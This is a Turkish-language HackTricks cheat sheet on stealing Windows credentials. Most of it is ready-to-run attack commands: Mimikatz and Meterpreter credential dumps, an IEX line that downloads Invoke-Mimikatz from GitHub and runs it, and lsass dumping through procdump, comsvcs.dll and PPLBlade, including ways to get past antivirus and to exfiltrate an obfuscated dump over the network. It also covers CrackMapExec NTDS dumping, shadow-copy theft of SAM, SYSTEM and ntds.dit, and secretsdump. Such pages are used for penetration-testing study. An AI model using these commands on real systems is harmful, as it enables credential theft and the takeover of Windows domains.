hacktricks/windows-hardening/stealing-credentials/README.md

16 KiB
Raw Blame History

Windows Kimlik Bilgilerini Çalma

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Kimlik Bilgileri Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Mimikatz'ın yapabileceği diğer şeyleri bu sayfada** bulun.**

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Burada bazı olası kimlik bilgisi korumalarını öğrenin. Bu korumalar, Mimikatz'ın bazı kimlik bilgilerini çıkarmasını engelleyebilir.

Meterpreter ile Kimlik Bilgileri

Kurbanın içinde şifreler ve hash'ler aramak için oluşturduğum Kimlik Bilgileri Eklentisi'ni kullanın.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

AV'yi Atlatma

Procdump + Mimikatz

Procdump, SysInternals'dan, meşru bir Microsoft aracıdır, bu nedenle Defender tarafından tespit edilmez.
Bu aracı kullanarak lsass sürecini dökebilir, dökümü indirebilir ve dökümden kimlik bilgilerini yerel olarak çıkarabilirsiniz.

{% code title="Dump lsass" %}

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

{% endcode %}

{% code title="Dump'tan kimlik bilgilerini çıkar" %}

//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

{% endcode %}

Bu işlem otomatik olarak SprayKatz ile yapılır: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Not: Bazı AV procdump.exe'nin lsass.exe'yi dökümlemesi kullanımını kötü amaçlı olarak tespit edebilir, bu da "procdump.exe" ve "lsass.exe" dizesini tespit etmelerindendir. Bu nedenle, lsass.exe'nin PID'sini procdump'a lsass.exe ismi yerine bir argüman olarak geçmek daha gizlidir.

comsvcs.dll ile lsass dökümü

C:\Windows\System32 içinde bulunan comsvcs.dll adlı bir DLL, bir çökme durumunda işlem belleğini dökmekten sorumludur. Bu DLL, rundll32.exe kullanılarak çağrılması için tasarlanmış MiniDumpW adlı bir fonksiyon içerir.
İlk iki argümanı kullanmak önemsizdir, ancak üçüncüsü üç bileşene ayrılır. Dökümü alınacak işlem kimliği ilk bileşeni, döküm dosyası konumu ikinciyi temsil eder ve üçüncü bileşen kesinlikle full kelimesidir. Alternatif seçenek yoktur.
Bu üç bileşen ayrıştırıldığında, DLL döküm dosyasını oluşturmak ve belirtilen işlemin belleğini bu dosyaya aktarmakla ilgilenir.
comsvcs.dll kullanımı, lsass işlemini dökmek için mümkündür, böylece procdump'ı yükleyip çalıştırma ihtiyacı ortadan kalkar. Bu yöntem https://en.hackndo.com/remote-lsass-dump-passwords/ adresinde ayrıntılı olarak açıklanmıştır.

Aşağıdaki komut çalıştırmak için kullanılır:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

Bu süreci lssasy** ile otomatikleştirebilirsiniz.**

Görev Yöneticisi ile lsass Dökümü

  1. Görev Çubuğuna sağ tıklayın ve Görev Yöneticisi'ni tıklayın
  2. Daha fazla ayrıntı'ya tıklayın
  3. İşlemler sekmesinde "Yerel Güvenlik Otoritesi Süreci" işlemini arayın
  4. "Yerel Güvenlik Otoritesi Süreci" işlemine sağ tıklayın ve "Döküm dosyası oluştur" seçeneğine tıklayın.

Procdump ile lsass Dökümü

Procdump, sysinternals paketinin bir parçası olan Microsoft imzalı bir ikilidir.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Dumpin lsass with PPLBlade

PPLBlade Korunan Süreç Döküm Aracı'dır ve bellek dökümünü obfuscate etme ve bunu uzaktaki iş istasyonlarına disk üzerine bırakmadan aktarma desteği sunar.

Ana işlevler:

  1. PPL korumasını aşma
  2. Defender imza tabanlı tespit mekanizmalarından kaçınmak için bellek döküm dosyalarını obfuscate etme
  3. Bellek dökümünü RAW ve SMB yükleme yöntemleriyle disk üzerine bırakmadan yükleme (dosyasız döküm)

{% code overflow="wrap" %}

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

{% endcode %}

CrackMapExec

SAM hash'lerini dökme

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

LSA sırlarını dökme

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Hedef DC'den NTDS.dit'i Dökme

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Hedef DC'den NTDS.dit şifre geçmişini dökme

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Her NTDS.dit hesabı için pwdLastSet niteliğini gösterin

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

SAM & SYSTEM Çalma

Bu dosyalar şu konumda bulunmalıdır C:\windows\system32\config\SAM ve C:\windows\system32\config\SYSTEM. Ancak bunları sıradan bir şekilde kopyalayamazsınız çünkü korunmaktadırlar.

Kayıt Defterinden

Bu dosyaları çalmanın en kolay yolu, kayıt defterinden bir kopya almaktır:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Bu dosyaları Kali makinenize indirin ve hash'leri çıkartın:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Hacim Gölgesi Kopyası

Bu hizmeti kullanarak korunan dosyaların kopyasını alabilirsiniz. Yönetici olmanız gerekiyor.

vssadmin Kullanarak

vssadmin ikili dosyası yalnızca Windows Server sürümlerinde mevcuttur.

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Ama aynı şeyi Powershell ile de yapabilirsiniz. Bu, SAM dosyasını nasıl kopyalayacağınızın bir örneğidir (kullanılan sabit disk "C:" ve C:\users\Public'e kaydediliyor) ancak bunu herhangi bir korumalı dosyayı kopyalamak için de kullanabilirsiniz:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Invoke-NinjaCopy

Son olarak, SAM, SYSTEM ve ntds.dit'in bir kopyasını oluşturmak için PS script Invoke-NinjaCopy kullanabilirsiniz.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Kimlik Bilgileri - NTDS.dit

NTDS.dit dosyası, Active Directory'nin kalbi olarak bilinir ve kullanıcı nesneleri, gruplar ve bunların üyelikleri hakkında kritik verileri tutar. Bu dosya, alan kullanıcıları için şifre karma'larının saklandığı yerdir. Bu dosya, Genişletilebilir Depolama Motoru (ESE) veritabanıdır ve %SystemRoom%/NTDS/ntds.dit konumunda bulunur.

Bu veritabanında üç ana tablo tutulur:

  • Veri Tablosu: Bu tablo, kullanıcılar ve gruplar gibi nesneler hakkında ayrıntıları saklamakla görevlidir.
  • Bağlantı Tablosu: Üyelikler gibi ilişkileri takip eder.
  • SD Tablosu: Her nesne için Güvenlik tanımlayıcıları burada tutulur ve saklanan nesnelerin güvenliği ve erişim kontrolünü sağlar.

Bunun hakkında daha fazla bilgi: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows, bu dosyayla etkileşimde bulunmak için Ntdsa.dll kullanır ve lsass.exe tarafından kullanılır. Ardından, NTDS.dit dosyasının bir kısmı lsass belleğinde bulunabilir (performans iyileştirmesi nedeniyle muhtemelen en son erişilen verileri bulabilirsiniz, çünkü bir önbellek kullanılır).

NTDS.dit içindeki karma değerlerini çözme

Karma, 3 kez şifrelenmiştir:

  1. BOOTKEY ve RC4 kullanarak Şifre Çözme Anahtarını (PEK) çözün.
  2. PEK ve RC4 kullanarak karma değerini çözün.
  3. DES kullanarak karma değerini çözün.

PEK, her alan denetleyicisinde aynı değere sahiptir, ancak alan denetleyicisinin SYSTEM dosyasının BOOTKEY'i kullanılarak NTDS.dit dosyası içinde şifrelenmiştir (alan denetleyicileri arasında farklıdır). Bu nedenle, NTDS.dit dosyasından kimlik bilgilerini almak için NTDS.dit ve SYSTEM dosyalarına ihtiyacınız var (C:\Windows\System32\config\SYSTEM).

Ntdsutil kullanarak NTDS.dit kopyalama

Windows Server 2008'den beri mevcuttur.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

You could also use the volume shadow copy trick to copy the ntds.dit file. Remember that you will also need a copy of the SYSTEM file (again, dump it from the registry or use the volume shadow copy trick).

NTDS.dit'ten hash'leri çıkarmak

Once you have obtained the files NTDS.dit and SYSTEM you can use tools like secretsdump.py to extract the hashes:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

Ayrıca geçerli bir alan yöneticisi kullanarak otomatik olarak çıkarabilirsiniz:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

Büyük NTDS.dit dosyaları için, gosecretsdump kullanarak çıkartılması önerilir.

Son olarak, metasploit modülünü de kullanabilirsiniz: post/windows/gather/credentials/domain_hashdump veya mimikatz lsadump::lsa /inject

NTDS.dit'ten bir SQLite veritabanına alan nesnelerini çıkartma

NTDS nesneleri, ntdsdotsqlite ile bir SQLite veritabanına çıkartılabilir. Sadece sırlar değil, aynı zamanda ham NTDS.dit dosyası zaten alındığında daha fazla bilgi çıkartma için tüm nesneler ve nitelikleri de çıkartılır.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

The SYSTEM hive isteğe bağlıdır ancak gizli bilgilerin şifre çözümlemesine olanak tanır (NT & LM hash'leri, düz metin şifreler gibi ek kimlik bilgileri, kerberos veya güven trust anahtarları, NT & LM şifre geçmişleri). Diğer bilgilerle birlikte, aşağıdaki veriler çıkarılır: kullanıcı ve makine hesapları ile hash'leri, UAC bayrakları, son oturum açma ve şifre değiştirme için zaman damgası, hesap açıklamaları, adlar, UPN, SPN, gruplar ve özyinelemeli üyelikler, organizasyonel birimler ağacı ve üyelik, güvenilir alanlar ile güven türü, yönü ve nitelikleri...

Lazagne

Binary'yi buradan indirin. Bu binary'yi çeşitli yazılımlardan kimlik bilgilerini çıkarmak için kullanabilirsiniz.

lazagne.exe all

SAM ve LSASS'tan kimlik bilgilerini çıkarmak için diğer araçlar

Windows credentials Editor (WCE)

Bu araç, bellekten kimlik bilgilerini çıkarmak için kullanılabilir. Bunu buradan indirin: http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

SAM dosyasından kimlik bilgilerini çıkarın.

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

SAM dosyasından kimlik bilgilerini çıkarın

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

http://www.tarasco.org/security/pwdump_7 adresinden indirin ve sadece çalıştırın ve şifreler çıkarılacaktır.

Defanslar

Burada bazı kimlik bilgisi korumalarını öğrenin.

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}